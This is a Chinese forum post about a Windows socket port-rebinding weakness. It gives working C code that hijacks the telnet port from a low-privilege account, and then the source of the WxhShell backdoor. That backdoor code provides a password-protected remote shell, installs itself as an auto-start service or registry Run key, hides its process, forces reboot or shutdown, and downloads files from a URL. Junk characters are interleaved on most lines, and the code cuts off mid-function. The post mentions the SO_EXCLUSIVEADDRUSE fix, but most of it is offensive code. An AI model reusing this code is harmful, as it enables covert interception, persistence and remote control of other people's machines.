社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18124阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  +=Xgi$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IG}`~% Z  
39j "z8 n  
  saddr.sin_family = AF_INET; TttD}`\.  
UBN^dbP*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7-*QF>w<a  
r@j$$Pk`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4O~E4" ]  
9t`   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y}TiN!M  
`F)Q=  
  这意味着什么?意味着可以进行如下的攻击: Ujw J}j  
c(:qid  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A$w0+&*=  
*&i SW~s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OB-2xmZW  
c_oI?D9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 / /ty] j  
=v (MdjwFl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !kzC1U  
Q"2t :  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o\Ocu>:  
iymOq9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?k6P H"M  
! y1]S .;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]{` 8C  
Yn0l}=, n  
  #include (6Ssk4  
  #include ?2#!63[Kg  
  #include $-Ud&sjn  
  #include    A (:7q4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cy R K&J  
  int main() N S^(5g  
  { . *9+%FN  
  WORD wVersionRequested; &3jq'@6  
  DWORD ret; )+' De  
  WSADATA wsaData; j_r?4k  
  BOOL val; a{?`yO/ 2  
  SOCKADDR_IN saddr; TB=KT j  
  SOCKADDR_IN scaddr; ~j1.;WId[  
  int err; \t'v-x>2y5  
  SOCKET s; Y Mes314"  
  SOCKET sc;  zw13Tu  
  int caddsize; RC[b+J,q  
  HANDLE mt; t#kPEiD  
  DWORD tid;   $~#N1   
  wVersionRequested = MAKEWORD( 2, 2 ); %SWtE5HZQq  
  err = WSAStartup( wVersionRequested, &wsaData ); ;(]O*{F7k  
  if ( err != 0 ) { Jd].e=]pN  
  printf("error!WSAStartup failed!\n"); M 5mCG  
  return -1; HwE1cOT  
  } 6]GEn=t  
  saddr.sin_family = AF_INET; WYHr'xJ  
   mLa0BIP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DXbzl +R  
?dWfupO{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sd (I@ &y  
  saddr.sin_port = htons(23); =y5~7&9'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P)7_RE*gY  
  { .zm'E<  
  printf("error!socket failed!\n"); <tT*.nM\  
  return -1; f zu#!  
  } >e]46 K  
  val = TRUE; 'rT@r:6fn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~:65e 8K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ch`nDIne  
  { SC'F,!  
  printf("error!setsockopt failed!\n"); uYh6q1@"~  
  return -1; Yl65|=n e  
  } k+(UpO=/*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &9Vm3X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 un+U_|>c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 njz:7]>e  
+y+-~;5iv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i(eLE"G+  
  { fO!S^<9,-  
  ret=GetLastError(); v> vU]6l  
  printf("error!bind failed!\n"); T>"GH M  
  return -1; S-FoyID\H  
  } 1' #%U A  
  listen(s,2); ?WD|a(  
  while(1) ?0Xt|  
  { GJ>vL  
  caddsize = sizeof(scaddr); .3(=U Q  
  //接受连接请求 zTFfft<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $ Cr? }'a  
  if(sc!=INVALID_SOCKET) >R5qhVYFb  
  { x;RjLI4h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \wmNeGC2  
  if(mt==NULL) 4<`x*8` ,  
  { ]rEFWA  
  printf("Thread Creat Failed!\n"); 'E/vE0nN?  
  break; b";w\H  
  } +C~,q{u  
  } dXKv"*7l  
  CloseHandle(mt); RvL-SI%E  
  } cJ 5":^O  
  closesocket(s); N=) E$h  
  WSACleanup(); ~jd:3ip+!  
  return 0; F,^<  
  }   U=<E,tM  
  DWORD WINAPI ClientThread(LPVOID lpParam) c;,jb  
  { (7nWv43  
  SOCKET ss = (SOCKET)lpParam; opz.kP[e,  
  SOCKET sc; %m'd~#pze  
  unsigned char buf[4096]; )t G`a ;  
  SOCKADDR_IN saddr; 6gS<h \h0  
  long num; {nH.  _  
  DWORD val; 1>W|vOv"Z?  
  DWORD ret; axOdGv5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (r cH\   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S3-3pJ]~Zk  
  saddr.sin_family = AF_INET; a;p3Me7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $'}:nwq6x  
  saddr.sin_port = htons(23); $CaF"5}?Ke  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }U$Yiv  
  { UzVnC:  
  printf("error!socket failed!\n"); xz dqE  
  return -1; .M_[tl  
  } RdlcJxM  
  val = 100; v&}mbt-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g/+P]c6/  
  { #vJDb |z  
  ret = GetLastError(); a;AvY O  
  return -1; brN:Ypf-e  
  } sygAEL;.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ukV1_QeN [  
  { n!mtMPH$  
  ret = GetLastError(); m#+0uZm(  
  return -1; ,.u7([SGm  
  } ~ ={8b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) (3C6'Wt  
  { %n`wU-?lK  
  printf("error!socket connect failed!\n"); X )d7y  
  closesocket(sc); 6\(wU?m'/  
  closesocket(ss); p=6Q0r|'  
  return -1; QK -_~9V  
  } 4os7tx  
  while(1) BnH< -n_  
  { bH+p5Fd;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t&(}`W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;5 cg<~t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vX})6O  
  num = recv(ss,buf,4096,0); }6} Gj8Nb  
  if(num>0) M xUj7ae  
  send(sc,buf,num,0); Ji  SJi?  
  else if(num==0) ?4wS/_C/  
  break; m sS5"Qr  
  num = recv(sc,buf,4096,0); W[A;VOj0$  
  if(num>0) vINm2%*zJ  
  send(ss,buf,num,0); P: &XtpP  
  else if(num==0) y4s]*?Wz  
  break; k}y1IW+3  
  } PgAC3%M6  
  closesocket(ss); ?:OL8&0  
  closesocket(sc); 9mkt.>$  
  return 0 ; ',nGH|K.  
  } zC6,m6Dv  
s=Pwkte  
^2OBc  
========================================================== C5#3c yf*B  
Da5Zz(  
下边附上一个代码,,WXhSHELL |Vc8W0~0  
D]v=/43  
========================================================== x/47e8/  
|lAu6d !  
#include "stdafx.h" +=hiLfnE  
j[Uul#  
#include <stdio.h> }|MGYS)  
#include <string.h> a5C%OI<  
#include <windows.h> ,%e.nj9  
#include <winsock2.h> Ee;&;Q,O.z  
#include <winsvc.h> @U'I_` LL  
#include <urlmon.h> ?e9Acc`G5  
xJrRJwL  
#pragma comment (lib, "Ws2_32.lib") ]&w>p#_C  
#pragma comment (lib, "urlmon.lib") cf?*6q?n  
,TaaXI  
#define MAX_USER   100 // 最大客户端连接数 Qy`{y?T2  
#define BUF_SOCK   200 // sock buffer 54s+4R FL  
#define KEY_BUFF   255 // 输入 buffer d:}aFP[  
"P`V|g  
#define REBOOT     0   // 重启 azKbGS/X  
#define SHUTDOWN   1   // 关机 |H 0+.f;  
poj@ G{  
#define DEF_PORT   5000 // 监听端口 !q;EC`i#  
5hak'#2  
#define REG_LEN     16   // 注册表键长度 iZ2|/hnw  
#define SVC_LEN     80   // NT服务名长度 G\&4_MS  
!mH2IjcL  
// 从dll定义API 8?!=/Sc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); znv2:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5xL%HX[S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ) D:M_T2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); = 7pLU+ u  
SbU=Lkx#  
// wxhshell配置信息 4^(u6tX5|+  
struct WSCFG { I `:nb  
  int ws_port;         // 监听端口 DZKVZ_q  
  char ws_passstr[REG_LEN]; // 口令 6=a($s!   
  int ws_autoins;       // 安装标记, 1=yes 0=no .dwb@$  
  char ws_regname[REG_LEN]; // 注册表键名 U,S&"`a  
  char ws_svcname[REG_LEN]; // 服务名 *&{M ,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lx,^Y 647  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6[>UF!.=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YFgQ!\&59  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rld4uy}m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4HEp}Y"}V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A$ v Cm  
Cp(,+ dD  
}; :[P>e ox  
+O>1 Ed  
// default Wxhshell configuration ZOvMA]Rf  
struct WSCFG wscfg={DEF_PORT, ^;4nHH7z-,  
    "xuhuanlingzhe", 9v&{; %U  
    1, a.QF`J4"'  
    "Wxhshell", m:A 7*r[  
    "Wxhshell", 1V(tt{  
            "WxhShell Service", ]X/1u"  
    "Wrsky Windows CmdShell Service", M6U/. n  
    "Please Input Your Password: ", Qa~dd{?  
  1, %cJ]Ds%V  
  "http://www.wrsky.com/wxhshell.exe", +Z[(s!  
  "Wxhshell.exe" #]bWE$sU<  
    }; d51l7't  
qYZ\< h^  
// 消息定义模块 Wo=Q7~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gn"_()8cT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; . fq[>zG'&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E8#r<=(m  
char *msg_ws_ext="\n\rExit."; Q?rb(u(  
char *msg_ws_end="\n\rQuit."; NMb`d0;(  
char *msg_ws_boot="\n\rReboot..."; GPnd7}Tn  
char *msg_ws_poff="\n\rShutdown..."; P<yd  
char *msg_ws_down="\n\rSave to "; .n]P6t  
qg?O+-+  
char *msg_ws_err="\n\rErr!"; d54(6N%  
char *msg_ws_ok="\n\rOK!"; ;(M`Wy]2  
fbp6lE  
char ExeFile[MAX_PATH]; {#YGor|  
int nUser = 0; ~yz7/?A)TS  
HANDLE handles[MAX_USER]; %m r  
int OsIsNt; h7mJXS)t|  
Z=`\U?,  
SERVICE_STATUS       serviceStatus; 44axOk!G[/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SA s wP  
ukBj@.~  
// 函数声明 :FOMRrf7.  
int Install(void); ;i|V++$_  
int Uninstall(void); p\5DW'  
int DownloadFile(char *sURL, SOCKET wsh); @4dB$QF`&  
int Boot(int flag); @A6 P[r  
void HideProc(void); j2NnDz'  
int GetOsVer(void); =BW>jD  
int Wxhshell(SOCKET wsl); %Z?2 .)  
void TalkWithClient(void *cs); >(+g:p  
int CmdShell(SOCKET sock); WF#eqU*&  
int StartFromService(void); Yy]^_,r  
int StartWxhshell(LPSTR lpCmdLine); /=co/}i  
v7"' ^sZ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G\3@QgyQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cd,)GF  
{~7V A  
// 数据结构和表定义 v~i/e+.h>y  
SERVICE_TABLE_ENTRY DispatchTable[] = @mM'V5_#  
{ xJ H]>#XJ  
{wscfg.ws_svcname, NTServiceMain}, qv|geBW  
{NULL, NULL} [U[saR\  
}; L ;5uB2  
NFpR jC?  
// 自我安装 "F%w{bf  
int Install(void) L/,#:J  
{ A+i|zo5p=k  
  char svExeFile[MAX_PATH]; td{M%D,R"  
  HKEY key; P wL]v.:  
  strcpy(svExeFile,ExeFile); >-fOkOWXy  
  )z#  
// 如果是win9x系统,修改注册表设为自启动 7,U^v}$   
if(!OsIsNt) { z45 7/zO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m~a'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A}KRXkB  
  RegCloseKey(key); D.?Rc'y D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?u`+?" 'H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  wc# #'u  
  RegCloseKey(key); h6c0BmS{1  
  return 0; J WaI[n}  
    } WO{V,<;  
  } E _d^&{j  
} YSi[s*.G  
else { Z%_"-ENT  
nRq @hk  
// 如果是NT以上系统,安装为系统服务 f4Aevh:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8z\v|-%Z  
if (schSCManager!=0) yxq+<A4,a  
{ #;ez MRKM"  
  SC_HANDLE schService = CreateService -7^?40A  
  ( aq/'2U 7  
  schSCManager, W8hf  Qpw  
  wscfg.ws_svcname, .{U@Hva_K  
  wscfg.ws_svcdisp, \[</|]'[  
  SERVICE_ALL_ACCESS, ZZ/F}9!=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R_iQLBrd  
  SERVICE_AUTO_START, LliOhr4  
  SERVICE_ERROR_NORMAL, oJ}!qrrH  
  svExeFile, z 3RD*3b  
  NULL, {.=4;   
  NULL, w6ZyMR,T  
  NULL, 4LY kK/:  
  NULL, ]7SX _:'*  
  NULL nl v8HC  
  ); @&!`.Y oy  
  if (schService!=0) Ak(_![Q:q\  
  { x;d*?69f]  
  CloseServiceHandle(schService); EXt?xiha?  
  CloseServiceHandle(schSCManager); Kgev*xg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3|1ug92  
  strcat(svExeFile,wscfg.ws_svcname); Y![m'q}K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]:Y@pZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Pw@EC]  
  RegCloseKey(key); ~dkN`1$v  
  return 0; fZM)>  
    } '~-JR>  
  } A UCk]  
  CloseServiceHandle(schSCManager); J=QuZwt  
} 2flgfB}2k  
} }O=QXIF5  
a:$hK%^ \  
return 1; A6D.bJ)  
} Gwl]sMJ  
g5THkxp  
// 自我卸载 HR0t[*  
int Uninstall(void) pv/LTv  
{ px`o.%`'  
  HKEY key; +n#(QOz  
k 4|*t}o7  
if(!OsIsNt) { }6Y D5?4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RZwjc<T  
  RegDeleteValue(key,wscfg.ws_regname); cE}y~2cH  
  RegCloseKey(key); `U-i{i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kGaK(^w  
  RegDeleteValue(key,wscfg.ws_regname); y^utMH  
  RegCloseKey(key); :Bk!YK  
  return 0; wD(1Sr5n  
  } ARcPHV<(2  
} \SA"DT  
} -Fi{[%&u  
else { y]1:IJL2;  
)TYrb:M'm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3_%lN4sz  
if (schSCManager!=0) U%E6"Hg  
{ ']'H8Y-M  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _,S L;*G4|  
  if (schService!=0) j2oHwt6"  
  { *{3&?pxx  
  if(DeleteService(schService)!=0) { ;W ZA  
  CloseServiceHandle(schService); &c;@u?:@S  
  CloseServiceHandle(schSCManager); WD"3W)!  
  return 0; \FVm_)  
  } Z_%9LxZlyj  
  CloseServiceHandle(schService); *hJ&7w ~  
  } < 0S+[7S"  
  CloseServiceHandle(schSCManager); S1_X@[t  
} )(&Z&2~A  
} 1h.Ypz u  
4Ji6B)B  
return 1; ["5Z =4  
} a(!_ 3i@  
{|Ew]Wq  
// 从指定url下载文件 SZGeF;N  
int DownloadFile(char *sURL, SOCKET wsh) z]P =>w  
{  bnll-G|  
  HRESULT hr; &C_0JyT  
char seps[]= "/"; tS$^k)ZXip  
char *token; [^iQE  
char *file; a}oFL%=?  
char myURL[MAX_PATH]; Vl91I+Ev  
char myFILE[MAX_PATH]; KY1(yni&8[  
5C03)Go3Z  
strcpy(myURL,sURL); :n1^Xw0q  
  token=strtok(myURL,seps); 7/p&]0w  
  while(token!=NULL) jzRfD3_s  
  { fc}G6P;3{  
    file=token; ]h]|PdN  
  token=strtok(NULL,seps); UODbT&&  
  } !/1aot^(  
tbx* }uy2  
GetCurrentDirectory(MAX_PATH,myFILE); {*/&`$0lH|  
strcat(myFILE, "\\"); ;0)|c}n+.5  
strcat(myFILE, file); O$'BJKj-4  
  send(wsh,myFILE,strlen(myFILE),0); ~Ibq,9i  
send(wsh,"...",3,0); gBF2.{"^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \S]"nHX  
  if(hr==S_OK) J>H$4t#HX  
return 0; XkG:1H;Q%  
else =F!_ivV  
return 1; E?L^ L3s  
wi7a_^{  
} ]n8 5.DF  
4$j7DJ8dj  
// 系统电源模块 x.=Np\#\G-  
int Boot(int flag) =}bDT2Nb  
{ "OIra2O  
  HANDLE hToken; W%3<"'eP  
  TOKEN_PRIVILEGES tkp; n^HKf^]  
xq U@87[_  
  if(OsIsNt) { K>!+5A$6i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F\!Va  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J}$St|1y  
    tkp.PrivilegeCount = 1; &#keI.,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |.OXe!uU41  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @ m' zm:  
if(flag==REBOOT) { C}i1)   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Cbah%X  
  return 0; 9 n(.v}  
} MF7q*f  
else { k9V#=,K0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hKG)* Q  
  return 0; Ukf4Q\@w  
} PRR]DEz  
  } D*!UB5<>/t  
  else { *%[L @WF  
if(flag==REBOOT) { x] e &G!|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4pYscB  
  return 0; 0 `Yg  
} RDX$Wy$@L  
else { td}%reH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #@ quuiYq  
  return 0; yvQRr75  
} X&s@S5=r]  
} *OX;ZQg0  
6k1;62Ntk  
return 1; riy@n<Z4  
} 4#dS.UfI  
'@jP$6T&  
// win9x进程隐藏模块 " R=,W{=  
void HideProc(void) M%U1?^j8  
{ 2YS1%<-g*  
&l&B[s6[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <k41j=d  
  if ( hKernel != NULL ) X(YR).a~  
  { 1N3qMm^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [EdX6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dKG2f  
    FreeLibrary(hKernel); kMCg fL  
  } E8`AU<  
=!?4$vW  
return; h;+bHrKji  
} p7Q}xx  
r+yl{  
// 获取操作系统版本 gwAZ2w  
int GetOsVer(void) L/39<&W  
{ ::&hfHR*P  
  OSVERSIONINFO winfo; (**k4c,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1kX>sajp~  
  GetVersionEx(&winfo); <kc9KE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {&I3qk2(  
  return 1;  x%$as;  
  else t>Ot)d  
  return 0; oMw#ROsvC  
} 40M/Gu:  
P { 8d.  
// 客户端句柄模块  f^vz  
int Wxhshell(SOCKET wsl) YXFUZ9a#e  
{ d i;Fj  
  SOCKET wsh; u3VSS4RG%  
  struct sockaddr_in client; usFhcU  
  DWORD myID; '^6jRI,  
&B c$8ZR  
  while(nUser<MAX_USER) DO5H(a  
{ kJfMTfl,  
  int nSize=sizeof(client); Iu=n$H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v"~0 3-SX  
  if(wsh==INVALID_SOCKET) return 1; #[<XN s!"  
U~nW>WJ+.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `#Yv(a2TY  
if(handles[nUser]==0) '|jN!y^ 2p  
  closesocket(wsh); /W @k:  
else )LRso>iOO  
  nUser++; NZaMF.  
  } wq6.:8Or-]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); & 6-8$  
wV& UB@  
  return 0; \0'0)@uziQ  
} -Y:^<C^^&8  
q'zV9  
// 关闭 socket H\[:uUK5\  
void CloseIt(SOCKET wsh) zF-M9f$_PY  
{ Q!&@aKl  
closesocket(wsh); K3xs=q]:@  
nUser--; ?_<14%r;  
ExitThread(0); rO;Vr},3\%  
} ^~65M/  
+kdZfv>  
// 客户端请求句柄 /^jV-Z`  
void TalkWithClient(void *cs) p>#QFd"m  
{ u,f$cR  
A]WR-0Z7  
  SOCKET wsh=(SOCKET)cs;  +bC=yR  
  char pwd[SVC_LEN]; YYzl"<)c  
  char cmd[KEY_BUFF]; d7)EzW|I;  
char chr[1]; /CT g3Q"KQ  
int i,j; ~6HaZlBB  
)8244;  
  while (nUser < MAX_USER) { G|,'6|$jE  
12bt\ h9  
if(wscfg.ws_passstr) { dh.vZ0v=7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Q2<bj]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >kN%R8*Sx  
  //ZeroMemory(pwd,KEY_BUFF); I"Gr<?r  
      i=0; d_r1 }+ao  
  while(i<SVC_LEN) { aIsT"6A~{  
'*XX|\.  
  // 设置超时 D3MRRv#  
  fd_set FdRead; IBY(wx[5S  
  struct timeval TimeOut; D$W09ng-  
  FD_ZERO(&FdRead);  E qc,/  
  FD_SET(wsh,&FdRead); %I 3D/!%  
  TimeOut.tv_sec=8; bf2B  
  TimeOut.tv_usec=0; Bf-KCqC".  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZY Ci&l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fZ6"DJZ  
g /v"E+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {G^f/%  
  pwd=chr[0]; lMN3;}K  
  if(chr[0]==0xd || chr[0]==0xa) { 0wlKBwf`J  
  pwd=0; kTQvMa-X9D  
  break; x6BO%1  
  } kbHfdA  
  i++; Z91GM1lrf8  
    } 4{Q{>S*h  
Vw~st1",[  
  // 如果是非法用户,关闭 socket q0a8=o"|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }kK6"]Tj  
} ]@rt/ eX  
{0t-Q k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zZ11J0UI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j$u=7Z&E  
#@cOyxUt  
while(1) { <8[y2|UBt  
E/6@>.T?'  
  ZeroMemory(cmd,KEY_BUFF); 8M DX()Bm  
9BA*e-[  
      // 自动支持客户端 telnet标准   |8:IH@K*  
  j=0; gq+|Hr  
  while(j<KEY_BUFF) { MMYV8;c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x%WL!Lo  
  cmd[j]=chr[0]; $0OWPC1  
  if(chr[0]==0xa || chr[0]==0xd) { TcP (?v  
  cmd[j]=0; M ~uX!bDH  
  break; K\2UwX  
  } P t)Ni  
  j++; km(Mv  
    } G+$A|'<`z  
6hvmp  
  // 下载文件 1;Dug  
  if(strstr(cmd,"http://")) { XC D&Im  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S=R}#  
  if(DownloadFile(cmd,wsh)) 3S97hn{|=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l1utk8'-  
  else e7cqm*Qi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > kLUQ%zE@  
  } 4 )U,A~ !  
  else { -q}c;0vL-a  
7P!Hryy  
    switch(cmd[0]) { VX`E7Sf!}  
  D@]*{WO  
  // 帮助 +$b_,s  
  case '?': { 3ZF-n`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mqx#N%  
    break; j1yW{  
  } !}TZmwf'  
  // 安装 Ca?:x tt  
  case 'i': { (1|_Nr  
    if(Install()) sUki|lP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMI!Sl  
    else ,dG2[<?o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J=*X%^jX9Z  
    break; (q@DBb4  
    } 'rX!E,59  
  // 卸载 ')8c  
  case 'r': { SG)hrd  
    if(Uninstall()) ^F*G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Qd;t  
    else :+G1=TuXw~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TCC([  
    break; |Zn |?#F  
    } p7\}X.L  
  // 显示 wxhshell 所在路径 "8'aZ.P  
  case 'p': { f*{~N!g  
    char svExeFile[MAX_PATH]; t81}jD  
    strcpy(svExeFile,"\n\r"); ["N)=d|LS  
      strcat(svExeFile,ExeFile); C_&-2Z  
        send(wsh,svExeFile,strlen(svExeFile),0); mihR *8p  
    break; "-pQL )f  
    } w=]bj0<A=  
  // 重启 3Pj 6(cf  
  case 'b': { z^KMYvH g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nO'lN<L  
    if(Boot(REBOOT)) aBH!K   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7({"dW  
    else { ?D6?W6@  
    closesocket(wsh); sO5~!W>Z  
    ExitThread(0); r&u&$ "c  
    } ,:Q+>h  
    break; ,<pk&54.@'  
    } J<<Ph  
  // 关机 O,&nCxB]  
